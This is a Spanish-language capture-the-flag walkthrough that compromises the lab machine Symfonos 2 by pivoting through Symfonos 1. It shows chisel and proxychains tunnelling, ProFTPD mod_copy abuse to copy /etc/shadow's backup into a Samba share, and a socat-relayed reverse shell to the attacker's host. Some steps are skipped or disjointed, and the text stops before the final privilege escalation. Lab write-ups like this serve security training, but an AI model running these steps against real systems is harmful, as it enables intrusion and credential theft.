Symfonos 2 es una red interna que pertenece a Symfonos 1 asi que para poder comprender como llegamos hasta este target te reocmiendo ver symfonos 1 donde realizamos un escaneo de redes y pudimos observar que podriamos lograr acceso a symfonos 2 pivoteando.
Buscamos aumentar privilegios para poder acceder a symfonos 2 asi que empezamos, listando archivos SUID que permitan ejecutar código con permisos root.
Arrancamos chisel en modo servidor en nuestra máquina atacante.
chisel server --reverse -p 1234
Y desde Symfonos 1, entablamos la comunicación con Socks5.
chisel client 192.168.1.138:1234 R:socks
# When connection is stablished, chisel server output
# 2023/01/13 23:32:12 server: session#3: tun: proxy#R:127.0.0.1:1080=socks: Listening
Por último, en nuestra máquina atacante, debemos configurar Proxychains para que sea capaz de tunelizar las peticiones a través de Symfonos 1.
nano /etc/proxychains.conf
#[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080 # this port depends on Chisel result
Enumeración de Symfonos 2
Ejecutamos nmap como al inicio, wrappeando la comunicación a través de Proxychains.
⚠️Recuerda que con Proxychains, no se puede utilizar la opción -sS porque entra en conflicto con el túnel. Hay que cambiar el parámetro a -sT para utilizar peticiones TCP normales.
Se concatenan además unos comandos de limpieza porque Proxychains imprime más contenido del deseado. Los puertos abiertos son los siguientes: 21, 22, 80, 139, 445.
Afinamos la búsqueda.
proxychains nmap -p21,22,80,139,445 --open -T5 -v -n -sTV -Pn 10.10.10.3 -oN targeted 2&1 | grep -vE "OK"
# PORT STATE SERVICE VERSION
# 21/tcp open ftp ProFTPD 1.3.5
# 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
# 80/tcp open http WebFS httpd 1.21
# 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Si nos comunicamos con Samba, vemos de nuevo que el acceso anónimo está permitido y nos encontramos un archivo log.txt que parece interesante.
Si lo examinamos, nos encontramos con lo siguiente (se han omitido cosas que no eran interesantes).
root@symfonos2:~# cat /etc/shadow /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
...
[anonymous]
258 │ path = /home/aeolus/share
259 │ browseable = yes
260 │ read only = yes
261 │ guest ok = yes
...
User aeolus
Group aeolus
...
Existe una copia del shadow en /var/backups/shadow.bak.
Existe el usuario aeolus
El path /home/aeolus/share es visible de forma anónima por samba. Probablemente, ese sea el directorio donde estamos encontrando el archivo, este que acabamos de leer.
A través de smb no se puede hacer nada más.
Continuamos por FTP en el puerto 21.
ProFTPD 1.3.5 exploit
Searchsploit nos arroja información sobre esta versión de ftp. Parece ser vulnerable
searchsploit proftp 1.3.5
# ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
searchsploit -x linux/remote/36742.txt
# Description TJ Saunders 2015-04-07 16:35:03 UTC
# Vadim Melihow reported a critical issue with proftpd installations that use the
# mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands to be used by *unauthenticated clients*:
Podemos copiar y pegar archivos de forma remota. Teniendo en cuenta que por SMB somos capaces de leer el directorio /home/aeolus/share, podemos aprovechar esto para copiar ahí el backup del archivo /etc/shadow.
proxychains ftp 10.10.10.3
Name (10.10.10.3:iocio):
# 331 Password required for iocio
Password:
# 530 Login incorrect.
# Login failed.
# Remote system type is UNIX.
# Using binary mode to transfer files.
ftp site CPFR /var/backups/shadow.bak
# 350 File or directory exists, ready for destination name
ftp site CPTO /home/aeolus/share/shadow
# 250 Copy successful
quit
Ya estamos listos para descargarnos el archivo con smb.
Con el comando ss, buscamos conexiones de red expuestas.
ss -tulpn
# Netid State Recv-Q Send-Q Local Address:Port
# ...
# tcp LISTEN 0 128 127.0.0.1:8080
# ...
Parece ser que hay algo expuesto en el puerto 8080 del localhost de la máquina Symfonos 2.
Para poder acceder a ella, necesitamos redireccionar en nuestro equipo dicho puerto mediante un túnel SSH.
El script genera un RCE por SNMP cuando crea un dispositivo. Con ayuda de él y poniéndonos en escucha desde Symfonos 1.
$ whoami
# cronus
Pero vamos a complicarlo un poco más. Vamos a entablar una reverse shell hacia mi máquina atacante. Para ello, haremos uso de Socat.
Desde Symfonos 1, ejecutamos el siguiente comando.
socat TCP-LISTEN:4646,fork TCP:192.168.1.138:4646
De esta manera, lo que haremos desde Symfonos 1, es que todo el tráfico que le llegue por el puerto 4646, lo redirigirá automáticamente al host 192.168.1.138, que es el de mi máquina atacante.
nc -lvnp 4646
# listening on [any] 4646 ...
# connect to [192.168.1.138] from (UNKNOWN) [192.168.1.140] 54208
# /bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
Aún queda ganar privilegios de root. Buscamos si tenemos permisos en la configuración de sudoers.
sudo -l
# Matching Defaults entries for cronus on symfonos2:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User cronus may run the following commands on symfonos2:
# (root) NOPASSWD: /usr/bin/mysql
En este caso, con el siguiente comando ejecutándolo como sudo, parece suficiente.
